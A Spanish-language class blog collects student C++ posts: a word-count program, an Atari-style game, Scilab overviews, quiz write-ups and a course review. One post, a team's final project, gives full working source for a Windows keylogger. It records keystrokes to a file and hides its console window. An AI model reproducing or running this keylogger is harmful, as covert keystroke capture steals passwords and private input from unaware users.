#WSQ12-Word count

Este programa me gusto, aunque no funciona como debería capilla pero no muestra ninguna resultado aun así dejo el código:

#include <iostream>
#include <string>
#include <fstream>
using namespace std;
int find_word(string word, string tipo){
string line;
int cont=0;
ifstream myfile(tipo);
if (myfile.is_open()){

while ( getline (myfile,line) ){
if(‘line’ == ‘word’){
cont=cont+1;
}
// cout << line << endl;
}
myfile.close();
}
else {
cout<<“CANNOT OPEN THE FILE”<<endl;
}
cout<<“The word…”<<word<<“… is used “<<cont<<” times.”<<endl;
return cont;
}

int main(int argc, char const *argv[]) {
string word, tipo;
int cont;
std::cout << “Please type the word you want to search.” << std::endl;
std::cin >> word;
std::cout << “Please enter the name of the file to search the word” << std::endl;
std::cin >> tipo;
find_word(word, tipo);
return 0;
}

Captura de pantalla 2016-05-14 a las 10.48.52.png

PROYECTO FINAL!!

Hey todo llega a su final y este curso no es la excepción, y como proyecto final creamos una copia del famoso juego de Atari Mars Invaders!!

 

lo hicimos entre Miguel Briseño, Alan Martinez y yo, Guillermo Serrano.unnamed.jpg

fue un proyecto complejo pero divertido en el que aprendimos muchas cosas muy importantes.

pero aquí tenemos un vídeo de como funciona: https://youtu.be/wCx3FjJlTEA

y nuestro hermoso codigo:

#include<stdio.h>
#include <windows.h>
#include <conio.h>
#include<cstdlib>
#define arriba 72
#define abajo 80
#define derecha 77
#define izquierda 75
#include <list>
using namespace std;

void posicion(int x,int y){
HANDLE hCon; //con esta fncion se definen los
hCon = GetStdHandle(STD_OUTPUT_HANDLE); //valores de las coordenadas para que los
COORD dwPos; //objetos se desplacen por la pantalla
dwPos.X= x;
dwPos.Y = y;
SetConsoleCursorPosition(hCon,dwPos);
}

void ocultar(){
HANDLE hCon;
hCon = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_CURSOR_INFO cur;
cur.dwSize = 50;
cur.bVisible = FALSE;
SetConsoleCursorInfo(hCon,&cur);

}

void limites (){
for (int i = 1 ; i<= 78; i++){ // en esta funcion se declaran los movimientos
posicion(i,3); // y los limites en los ejes “x” y “y”
printf (“%c”,240); // el numero 240 es el codigo ascii para el caracter “-”
} // al igual que el 219 para el caracter “█” que es un cuadro
for (int i = 1 ; i<= 78; i++){ // para dibujar los limites de donde se va a jugar.
posicion(i,34); // se llama a la funcion posicion () para dar las posiciones en la pantalla
printf (“%c”,240);
}
for (int i = 4 ; i<= 33; i++){
posicion(1,i);
printf (“%c”,219);

}
for (int i = 4 ; i<= 33; i++){
posicion(78,i);
printf (“%c”,219);

}
}
class NAVE{
public: int x,y,cor,vidas;
public :
NAVE(int _x,int _y,int _cor,int _vidas):x(_x), y(_y),cor(_cor),vidas(_vidas){}
int X (){return x;}
int Y (){return y;}
void dibujar();
void

maxresdefault.jpg

Continue reading “PROYECTO FINAL!!”

Proyecto final Keyloger (Diego Nateras, Alberto Rodriguez y Daniel Mejia)

Aqui esta nuestro proyecto final, es un keylogger que nos costo mucho tiempo hacer, sea como sea nos parece que valio la pena. Aqui les dejo el codigo c++. Esperamos le guste.

#include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <fstream>
using namespace std;

void log();
void hider();

int main (){
hider();
log();
return 0;
}

void log(){
char key;
for(;;)
{
//sleep(0);
for(key=8; key <=222; key++)
{
if(GetAsyncKeyState(key)==-32767){
ofstream write (“record.txt”, ios::app);

if((key>64)&&(key<91)&&!(GetAsyncKeyState(0x10)))
{
key+=32;
write << key;
write.close();
break;
}
else if ((key>64)&&(key<91))
{
write << key;
write.close();
break;
}
switch(key){
case 8: write << “<BackSpace>”;
case 27: write << “<ESC>”;
case 127: write << “<DEL>”;
case 32: write << “< >”;
case 13: write << “<Enter>”;

}

}
}
}
}
void hider()
{
HWND stealth;
int ALLocConsole();
stealth=FindWindowA(“ConsoleWindowClass”,NULL);
ShowWindow(stealth,0);
}

WAQ14 Scilab

Scilab es un herramienta muy poderosa y ha tenido tanta fama debido a que es gratis. Es un programa de procesamiento de datos matemáticos con mucho potencial. Este requiere de programación para poder utilizarlo. En lo personal lo he utilizado muy poco, pero hablando con mi maestra de matemáticas  nos comento que aunque tiene mucho poder y que es gratis, Scilab se ve opacado por softwares como R y Matlab, siendo R gratuito y Matlab de paga. Los tres requieren de una programacion muy parecida. Asi que vale la pena aprender a programar en cualquiera de estos 3 softwares ya que va a ser algo que vamos a necesitar durante toda nuestra carrera y vida porfecional como ingenieros.

#Wsq14 Scilab

Hola a todos el ultimo WSQ14 consite en aprender un poco sobre scilab, veamos que es esto y para que sirve

Scilab es un software para análisis numérico, con un lenguaje de programación de alto nivel para cálculo científico. Es desarrollado por Scilab Enterprises, bajo la licencia CeCILL, compatible con la GNU General Public License.

Las características de Scilab incluyen análisis numérico, visualización 2-D y 3-D, optimización, análisis estadístico, diseño y análisis de sistemas dinámicos, procesamiento de señales, e interfaces con Fortran, Java, C y C++. Mientras que la herramienta Xcos permite una interfaz gráfica para el diseño de modelos.

Estoy teniendo algunos problemas para tomar capturas con mi computadora, asi que les dejare algunos ejemplos de imagenes que saque de internet:

Escilab

Scilab Corriendo en slackware.

Scilab_exemple_3d_2

Ejemplos en 3d.

Xcos-ejemplo

Representación de un sistema realimentado mediante XCOS.
Cualquier duda o comentario, favor de dejarlo abajo.
Fuentes de Referencia:

Revisión del curso

Bueno llego el tiempo de cerrar el semestre, por eso, quisiera dar mi opinion sobre la modalidad de `Flipped learning´, a mi parecer fue una gran experiencia haber tomado este curso, porque en mi caso no solo me enseño de programación, si no, que tambien pude aprender a organizar mi tiempo mejor y ser mas responsable.

El curso impartido por el profesor Ken Bauer es muy flexible, algunos de los puntos mas importantes de este modelo de aprendizajes son:

  • Profesor como guia y no como maestro
  • Auto Aprendizaje
  • Tu te calificas
  • No hay sistema de faltas
  • Redes de aprendizaje entre el salon
  • No hay fechas para entregar trabajos

Todo esto te ayuda a forjar una mayor responsabilidad y me parece muy acertada la manera en que lo maneja Ken, ademas una materia como Programacion donde casi todo lo puedes buscar en internet y siempre es importante seguir aprendiendo por nuestra cuenta, es muy bueno tomarla en este tipo de modalidad.

Como unico punto en contra, diria que las demas clases que llevas en una modalidad normal, por obvias razones son mas estrictas  en cuanto a fechas y entregas, por lo tanto la clase de programacion pasa a ultimo termino, pero esto si te sabes administrar claro que puedes cumplir con todos los trabajos y aprender de una mejor manera.

Aqui les dejo un video donde hablo mas sobre el tema.

Quiz 7

Hola a todos, les traigo un nuevo programa! se trata sobre el quiz 7, este basicamente consite en determinar el producto punto de una lista de numeros, pero ¿qué es el produtcto punto?

El producto punto o producto escalar de dos vectores es un número real que resulta al multiplicar el producto de sus módulos por el coseno del ángulo que forman.

producto

Ejemplo

Hallar el producto punto de dos vectores cuyas coordenadas en una base ortonormal son: (1, 1/2, 3) y (4, −4, 1).

(1, 1/2, 3) · (4, −4, 1) = 1 · 4 + (1/2) · (−4) + 3 · 1 = 4 −2 + 3 = 5

Para la realizacion de este quiz, trabaje junto con mi amigo y Compañero Eduardo Morales.

Captura de pantalla 2016-05-11 a las 22.30.25.png

Como siempre les dejo mi codigo en Github:

https://github.com/OscarBaez/My-codes/tree/master

Referencias de ayuda:

http://www.geoan.com/analitica/vectores/producto_punto.html

Porfavor cualquier duda o comentario, dejarlo en la caja de comentarios  y con gusto respondere.

Quiz Review

¡Ultimo quiz! Numero 8

En este último quiz Ken decidió que hiciéramos un resumen de lo aprendido en el semestre algo que para mí es muy importante y creo que para ken lo es más porque así se puede dar una buena retroalimentación del curso.

Durante el semestre se fueron aprendiendo distintos temas acerca de la programación en c++ algo complicado si no se practica muy seguido, temas como las librerías de c++ algo muy importante ya que si no colocas una librería no funciona tu programa, loops y decisiones if and else y muchos otros problemas.

El trabajo en equipo yo creo que es una de las cosas más importantes en esta materia, anuqué cada quien tiene su forma de programar las personas siempre van a necesitar ayuda y en conjunto se resuelve de una mejor manera.

El modelo de Ken que habla sobre no tener un criterio de evaluación para mi gusto es excelente ya que te puedes medir honestamente la capacidad que tienes, así como las distintas facilidades del curso las cuales no teníamos faltas ni teníamos una fecha de entrega de trabajos.

Este ha sido un excelente curso de programación se aprenden cosas diferentes con cada profesor y siento que Ken tiene una buena idea de lo que el Tec busca como un excelente profesor.

¡Muchas gracias!

Proyecto Final: Calculadora de Derivadas e Integrales.

This is a program we made together Eduardo Morales, Eduardo Barrera and me, José Quiroga. I hope you like it:

Programming-Edmo

Hola a todos!

Este post es sobre mi proyecto final de programación en C++, para lo cual mi equipo y yo decidimos crear una calculadora que pueda resolver integrales y derivadas que el usuario elija. Dicho lo anterior, buscamos la creación de un programa que fuera útil para nosotros y para las personas que quieran utilizarlo, creando el programa con fines prácticos para los estudiantes y sin duda alguna muy amigable y fácil de entender para el usuario. Para ello necesitamos aplicar los conocimientos adquiridos a lo largo del curso, a través del uso de funciones, vectores, librerías, entre otros.

Durante la creación de este proyecto nos enfrentamos a muchísimos problemas, ya que necesitamos crear tres diversos programas para la función del original (INTMAIN), donde pedimos todos los valores al usuario para su uso. Cabe destacar que usamos el software de VISUAL STUDIO 2012 para la creación de nuestro programa…

Ver la entrada original 252 palabras más